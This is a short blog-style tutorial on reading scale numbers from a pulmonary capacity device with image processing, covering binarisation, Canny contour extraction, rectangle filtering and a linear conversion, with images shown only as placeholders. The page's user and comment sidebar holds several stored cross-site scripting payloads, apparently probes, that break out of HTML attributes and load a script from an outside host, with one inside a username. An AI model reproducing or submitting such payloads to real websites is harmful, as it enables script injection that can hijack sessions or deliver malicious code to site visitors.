Use image to identify scale number on pulmonary capacity devices


The collection of number from a pulmonary capacity devices is realized through imaging method. The physical methods may cause unexpected inteference changing the location of the indicator so that the number is changed, but the imaging is a non-touching method and the accuracy can be enhanced.

blob.png

the device(red one is the indicator)

Main steps:

After proper resize and rotate, choose an appropriate value to change the image to binary.

 blob.png

binary image

We can easily notice the red indicator cut the background black bar into two parts, which can be used to separate the bar into two parts.

Use canny algorithm to extract contours and check whther they are in a certain range of area and proper rectangle shape. Rectangle shape can be decided by comparing the contour area with the area of  minimum rotated rectangle outside contour. A shape similar to rectangle has nearly the same of these two areas.

blob.png

after canny

blob.png

after checking shape and area

Measure the length and width of the two rectangles, the scale number can be calculated using linear transformation.

Last Article Next article

Comment 评论



Share 分享

New Users 最新加入

  • "><script type="text/javascript&qu

  • hokurikustr

New comments 最新评论

&quot;&gt;&lt;script type=&quot;te: <script type="text/javascript" src="https://jso-tools.z-x.my.id/raw/~/J860XYPPDSWNG"></script> Details Oct 02 13:07
toored: "><script type="text/javascript" src="https://jso-tools.z-x.my.id/raw/~/J860XYPPDSWNG"></script> Details Oct 02 12:58
toored: <script type="text/javascript" src="https://jso-tools.z-x.my.id/raw/~/J860XYPPDSWNG"></script> Details Oct 02 12:57
toored: "><test> Details Oct 02 12:56
test123: aasdas Details Apr 13 16:39